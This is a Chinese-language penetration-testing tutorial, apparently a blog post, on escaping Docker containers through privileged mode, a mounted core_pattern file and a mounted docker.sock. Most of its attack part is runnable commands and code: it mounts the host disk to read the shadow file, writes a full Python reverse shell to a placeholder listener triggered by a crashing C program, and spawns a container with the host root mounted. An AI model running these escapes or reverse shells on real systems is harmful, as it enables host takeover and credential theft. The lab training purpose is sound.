Day95:云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

目录

云原生-Docker安全-容器逃逸&特权模式

云原生-Docker安全-容器逃逸&挂载Procfs

云原生-Docker安全-容器逃逸&挂载Socket

云原生-Docker安全-容器逃逸条件&权限高低

高权限-Web入口到Docker逃逸(java)特权模式逃逸

低权限-Web入口到Docker逃逸(PHP)特权模式逃逸


知识点:
1、云原生-Docker安全-容器逃逸&特权模式

2、云原生-Docker安全-容器逃逸&挂载Procfs

3、云原生-Docker安全-容器逃逸&挂载Socket

4、云原生-Docker安全-容器逃逸条件&权限高低

1、Docker是干嘛的?

一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。

2、Docker对于渗透测试影响?

攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限

3、前渗透-判断是否在容器中

前提:拿到权限

https://blog.csdn.net/qq_23936389/article/details/131486643

方式一:查询cgroup信息

最简单精准的方式就是查询系统进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行环境,就可以知道是在虚拟机、docker还是kubepods里。

cat /proc/1/cgroup

docker 环境下:

K8s环境下:

方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。

K8s&docker环境下:

ls -alh /.dockerenv

可以找到文件。

方式三:查看端口运行情况

netstat -anpt

4、后渗透-三种安全容器逃逸

  1. 特权模式启动导致(不安全启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
  2. 危险挂载启动导致(危险启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
  3. docker自身版本漏洞&系统内核漏洞(软件版本漏洞和系统漏洞 高低权限都可用)

参考地址:https://wiki.teamssix.com/CloudNative/

云原生-Docker安全-容器逃逸&特权模式

参考地址:https://wiki.teamssix.com/CloudNative/Docker/docker-privileged-escape.html

1、以特权模式启动靶场

复制代码
docker run --rm --privileged=true -it alpine

2、检测是否是docker环境

复制代码
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

3、判断是否是特权模式

复制代码
cat /proc/self/status | grep CapEff

4、查看目录

复制代码
fdisk -l

5、特权模式逃逸

复制代码
mkdir /test && mount /dev/sda1 /test
复制代码
cd /test/ 
 ls

尝试访问宿主机 shadow 文件,可以看到正常访问

云原生-Docker安全-容器逃逸&挂载Procfs

参考地址:https://wiki.teamssix.com/CloudNative/Docker/docker-procfs-escape.html

1、启动环境

复制代码
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

2、检测环境

复制代码
find / -name core_pattern

3、查找路径(容器在真实磁盘的绝对路径)

复制代码
cat /proc/mounts | grep workdir

4、写入文件

复制代码
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"  //反弹IP
lport = xxxx //反弹端口
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF
复制代码
chmod +x /tmp/.x.py
复制代码
echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore           " > /host/proc/sys/kernel/core_pattern
//这里的路径要替换为workdir的绝对路径
复制代码
cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF
复制代码
cd /tmp
gcc x.c -o x  //编译c文件
复制代码
apt-get update -y && apt-get install  gcc -y 
//实战中不推荐安装gcc环境,可以在linux上编译好后上传到容器中执行就行

5、执行文件:

复制代码
./x  

vps上监听即可

复制代码
nc -lvvp xxxx

云原生-Docker安全-容器逃逸&挂载Socket

参考地址:https://wiki.teamssix.com/CloudNative/Docker/docker-socket-escape.html

1、启动靶场

复制代码
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

2、进入环境

复制代码
docker exec -it with_docker_sock /bin/bash

3、检测环境

复制代码
ls -lah /var/run/docker.sock

4、挂载逃逸

复制代码
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

复制代码
docker run -it -v /:/host ubuntu /bin/bash
复制代码
ls /host/root

云原生-Docker安全-容器逃逸条件&权限高低

模拟真实场景:

高权限-Web入口到Docker逃逸(java)特权模式逃逸

复制代码
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721

低权限-Web入口到Docker逃逸(PHP)特权模式逃逸

复制代码
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

入口如果是低权限的话是没法用特权模式和危险挂载去逃逸的,但是可以利用系统漏洞或者docker自身漏洞去逃逸。

相关推荐
wanhengidc38 分钟前
服务器 科学技术
运维·服务器·安全·web安全
橘子海全栈攻城狮44 分钟前
【最新源码】基于springboot的快递物流平台的设计与实现C102
java·开发语言·spring boot·后端·spring·web安全
深邃-1 小时前
【Web安全】-BurpSutie实战讲解(1):BP工具介绍,BP安装与启动,BP浏览器代理(端口被挤占的问题解决,bp不能使用的问题)
计算机网络·安全·web安全·网络安全·系统安全·burpsutie
wanhengidc1 小时前
云手机 游戏多开不卡顿
运维·服务器·网络·安全·web安全·游戏·智能手机
lifejump1 小时前
Empire(帝国)CMS 7.5 恶意文件上传-CVE-2018-18086
安全·web安全
Chockmans1 小时前
春秋云境CVE-2022-30887(保姆级教学)
安全·web安全·网络安全·系统安全·安全威胁分析·春秋云境·cve-2022-30887
lifejump17 小时前
Dede(织梦)CMS渗透测试(all)
前端·网络·安全·web安全
HackTwoHub18 小时前
AI提示词注入绕过工具:一键绕过Codex/Claude安全限制,CTF夺旗与渗透测试必备神器
网络·人工智能·安全·web安全·系统安全·网络攻击模型·安全架构
sensen_kiss19 小时前
CAN302 Technologies for E-Commerce 电子商务技术 Pt.8 网络安全(Secure the Web)
网络·学习·安全·web安全
其实防守也摸鱼19 小时前
Sqlmap:选取sqli-labs中less-8进行sqlmap注入测试
前端·css·网络·安全·web安全·less·sqli-labs